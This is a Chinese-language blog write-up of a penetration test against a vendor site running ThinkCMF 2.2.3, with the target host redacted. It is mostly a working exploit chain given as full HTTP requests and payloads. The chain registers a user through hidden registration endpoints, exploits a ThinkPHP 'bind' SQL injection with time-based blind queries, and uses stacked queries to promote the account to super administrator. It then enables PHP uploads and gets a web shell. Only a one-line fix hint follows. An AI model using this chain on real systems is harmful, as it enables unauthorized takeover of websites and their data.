0X00 前言php
這個案例是某項目的漏洞,涉及敏感的地方將會打碼。html
好久沒更新博客了,放一篇上來除除草,新的一年會有所轉變,之後會有更多領域的研究。前端
下面是正文linux
0X01 正文web
某廠商某個網站用的是thinkcmf 2.2.3。sql
thinkcmf 2.2.3系統是存在漏洞的,參考先知上喵嗚師傅寫的一篇文章(https://xz.aliyun.com/t/3529 )thinkphp
文章中提到了三個漏洞,一個注入,兩個模板注入寫shell。shell
可是系統是部署在linux下面的,模板注入是不行的。數據庫
因此文章編輯處的sql注入漏洞是比較好的方法了。後端
可是這裏的注入須要登錄。
雖然網站默認關閉了註冊,登錄等前端頁面展現。
但其實後端的邏輯是沒有關閉的。
因此咱們只要抓到註冊,登錄的URL就能夠註冊一個用戶,從而利用SQL注入漏洞了。
第一步:註冊用戶
由於註冊用戶須要用到驗證碼,請求驗證碼的URL爲
下面是註冊請求包,把驗證碼放到verify參數裏面
POST /index.php?g=user&m=register&a=doregister HTTP/1.1
Host: xx.target.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Cookie: _ga=GA1.3.247321242.1547113529; _gid=GA1.3.1692231506.1547113529; Hm_lvt_fd3ebc39e3d20d958cc417964a1a070f=1547114908; GmZMlN_think_language=zh-CN; PHPSESSID=rca5i9uik29o378crgi37c0v61spvn88; _gat=1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
email=r00tuser@email.com&password=xxxxxxx&repassword=xxxxxxx&verify=8486
成功註冊了個用戶。
第二步:登錄
一樣登錄也須要驗證碼,一樣用上面請求的URL獲取一個驗證碼,填寫在verify參數裏面
請求包以下:
第三步:注入
由於thinkcmf是用thinkphp 3.2.3的,存在bind 注入,原理就很少解釋了,能夠參考先知喵嗚寫的tp安全總結。
請求包以下:
POST /index.php?g=Portal&m=Article&a=edit_post HTTP/1.1
Host: xx.target.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Cookie: _ga=GA1.3.247321242.1547113529; _gid=GA1.3.1692231506.1547113529; Hm_lvt_fd3ebc39e3d20d958cc417964a1a070f=1547114908; GmZMlN_think_language=zh-CN; PHPSESSID=rca5i9uik29o378crgi37c0v61spvn88; _gat=1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 184
post[post_title]=122&post[post_content]=1&term=123&post[post_title]=aaa&post_title=123&post[id][0]=bind&post[id][1]=0 and if(ascii(substr(user(),1,1))=115,benchmark(1000000,sha(1)),1)
因爲程序關閉了報錯,並且這裏是update類型注入,因此這裏只能用延時注入。
payload:and if(ascii(substr(user(),1,1))=115,benchmark(1000000,sha(1)),1)
意思爲猜想當前數據庫用戶的首位字符的ascii碼。
正常請求,返回時間爲64。
當猜想ascii碼爲116時,返回時間爲417。
由於thinkphp 底層用的是pdo所寫,因此咱們是能夠執行多語句的。
經過一番延時注入猜想到表前綴爲xxxx,表結構大多數不會變,因此咱們只要猜想到表前綴便可,經過thinkcmf的源碼來注入了。
下面經過注入執行多語句從而將前臺用戶r00tuse@email.com提高爲後臺管理員。
首先是注入,設置用戶的user_type。
payload:;update `xxxxx_users` set user_type=1 where `user_email`=r00tuse@email.com';
這裏還有一步是經過注入獲取r00tuser@email.com這個用戶的user_id。
payload:and if((select id from xxxx_users where user_email='r00tuser@email.com')=6,benchmark(1000000,sha(1)),1)
用戶user_id爲6。
接着是修改用戶角色爲超級管理員。
payload:;INSERT INTO `xxxx_role_user`(`role_id`,`user_id`)values(1,6);
第四步:登錄後臺,修改上傳配置
用戶名:r00tuser@email.com 密碼:xxxxxxxxxx
打開連接:http://xx.target.com/index.php?g=admin&m=public&a=login
成功登錄:
修改上傳設置,添加上傳文件後綴php
http://xx.target.com/index.php?g=Admin&m=Setting&a=upload
最後一步,找一個能夠上傳圖片的地方,直接把php文件上傳便可。
http://xx.target.com/index.php?g=&m=AdminPost&a=add&term=
點擊圖片,直接選擇xx.php 便可。
請求包以下,只是打印Hello,World。
在返回包中獲取到php存放地址。
最後訪問連接:http://xx.target.com/data//upload//ueditor//20190111//5c3838d372091.php
成功getshell。
修復建議:
1):在底層think_filter方法添加bind過濾。具體爲
文件地址:simplewind\Core\Mode\Api\functions.php
0x02 說在最後
pdo讓不少注入到getshell成爲了可能,從注入到getshell一套下來,整個感覺就一個字,爽!